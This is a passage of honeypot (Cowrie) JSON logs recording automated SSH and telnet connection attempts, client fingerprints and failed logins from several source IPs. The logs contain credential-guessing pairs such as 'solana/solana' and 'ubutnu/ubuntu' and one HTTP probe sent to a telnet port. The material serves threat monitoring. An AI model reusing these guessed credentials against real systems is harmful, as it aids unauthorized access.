SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:28.510550Z","src_ip":"2.57.122.208","session":"7222e3b5ca6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:29.309864Z","src_ip":"2.57.122.208","session":"7222e3b5ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:30.587698Z","src_ip":"2.57.122.208","session":"7222e3b5ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47418,"dst_ip":"159.203.135.109","dst_port":22,"session":"1657dea934f2","protocol":"ssh","message":"New connection: 195.178.110.218:47418 (159.203.135.109:22) [session: 1657dea934f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:44.191858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:44.196289Z","src_ip":"195.178.110.218","session":"1657dea934f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:44.276127Z","src_ip":"195.178.110.218","session":"1657dea934f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:44.518038Z","src_ip":"195.178.110.218","session":"1657dea934f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:45.600651Z","src_ip":"195.178.110.218","session":"1657dea934f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":49230,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c72014e0ea","protocol":"ssh","message":"New connection: 85.198.97.85:49230 (159.203.135.109:22) [session: 05c72014e0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:15:53.224137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:15:53.228506Z","src_ip":"85.198.97.85","session":"05c72014e0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:15:53.355586Z","src_ip":"85.198.97.85","session":"05c72014e0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootalias","password":"password","message":"login attempt [rootalias/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:15:53.740360Z","src_ip":"85.198.97.85","session":"05c72014e0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:15:54.870948Z","src_ip":"85.198.97.85","session":"05c72014e0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56438,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed825c62becd","protocol":"ssh","message":"New connection: 195.178.110.218:56438 (10.17.0.5:22) [session: ed825c62becd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:18.170665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:18.174649Z","src_ip":"195.178.110.218","session":"ed825c62becd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:18.254363Z","src_ip":"195.178.110.218","session":"ed825c62becd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:18.497095Z","src_ip":"195.178.110.218","session":"ed825c62becd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:19.579714Z","src_ip":"195.178.110.218","session":"ed825c62becd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60480,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6548bdeb50","protocol":"ssh","message":"New connection: 2.57.122.208:60480 (10.17.0.5:22) [session: bc6548bdeb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:42.347401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:42.447861Z","src_ip":"2.57.122.208","session":"bc6548bdeb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:42.565736Z","src_ip":"2.57.122.208","session":"bc6548bdeb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:43.129575Z","src_ip":"2.57.122.208","session":"bc6548bdeb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:16:44.310347Z","src_ip":"2.57.122.208","session":"bc6548bdeb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50496,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbecb2df221f","protocol":"ssh","message":"New connection: 195.178.110.218:50496 (159.203.135.109:22) [session: cbecb2df221f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:17:22.242932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:17:22.247700Z","src_ip":"195.178.110.218","session":"cbecb2df221f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:17:22.323491Z","src_ip":"195.178.110.218","session":"cbecb2df221f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:17:22.553525Z","src_ip":"195.178.110.218","session":"cbecb2df221f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:17:23.631967Z","src_ip":"195.178.110.218","session":"cbecb2df221f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":56110,"dst_ip":"10.17.0.5","dst_port":22,"session":"72655d88250c","protocol":"ssh","message":"New connection: 92.118.39.76:56110 (10.17.0.5:22) [session: 72655d88250c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:03.402045Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:03.510939Z","src_ip":"92.118.39.76","session":"72655d88250c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49048,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b8e5c2bee8","protocol":"ssh","message":"New connection: 195.178.110.218:49048 (10.17.0.5:22) [session: 60b8e5c2bee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:55.600638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:55.604931Z","src_ip":"195.178.110.218","session":"60b8e5c2bee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:55.680458Z","src_ip":"195.178.110.218","session":"60b8e5c2bee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:55.905313Z","src_ip":"195.178.110.218","session":"60b8e5c2bee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:56.983176Z","src_ip":"195.178.110.218","session":"60b8e5c2bee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38918,"dst_ip":"10.17.0.5","dst_port":22,"session":"06698c182e3a","protocol":"ssh","message":"New connection: 2.57.122.208:38918 (10.17.0.5:22) [session: 06698c182e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:59.102731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:59.111319Z","src_ip":"2.57.122.208","session":"06698c182e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:59.223101Z","src_ip":"2.57.122.208","session":"06698c182e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:18:59.664314Z","src_ip":"2.57.122.208","session":"06698c182e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:00.923807Z","src_ip":"2.57.122.208","session":"06698c182e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.41.171.126","src_port":39286,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f24445dcd7","protocol":"telnet","message":"New connection: 121.41.171.126:39286 (10.17.0.5:23) [session: 00f24445dcd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:48.326481Z"}
{"eventid":"cowrie.session.closed","duration":0.005234718322753906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:48.331558Z","src_ip":"121.41.171.126","session":"00f24445dcd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.41.171.126","src_port":39328,"dst_ip":"10.17.0.5","dst_port":23,"session":"4903308755bd","protocol":"telnet","message":"New connection: 121.41.171.126:39328 (10.17.0.5:23) [session: 4903308755bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:49.509773Z"}
{"eventid":"cowrie.login.failed","username":"HEAD / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [HEAD / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:49.515015Z","src_ip":"121.41.171.126","session":"4903308755bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: identity","password":"","message":"login attempt [Accept-Encoding: identity/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:49.518841Z","src_ip":"121.41.171.126","session":"4903308755bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.24013495445251465,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:19:49.749772Z","src_ip":"121.41.171.126","session":"4903308755bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33976,"dst_ip":"159.203.135.109","dst_port":22,"session":"338ebe6d4a69","protocol":"ssh","message":"New connection: 195.178.110.218:33976 (159.203.135.109:22) [session: 338ebe6d4a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:04.515907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:04.521807Z","src_ip":"195.178.110.218","session":"338ebe6d4a69","protocol":"ssh"}
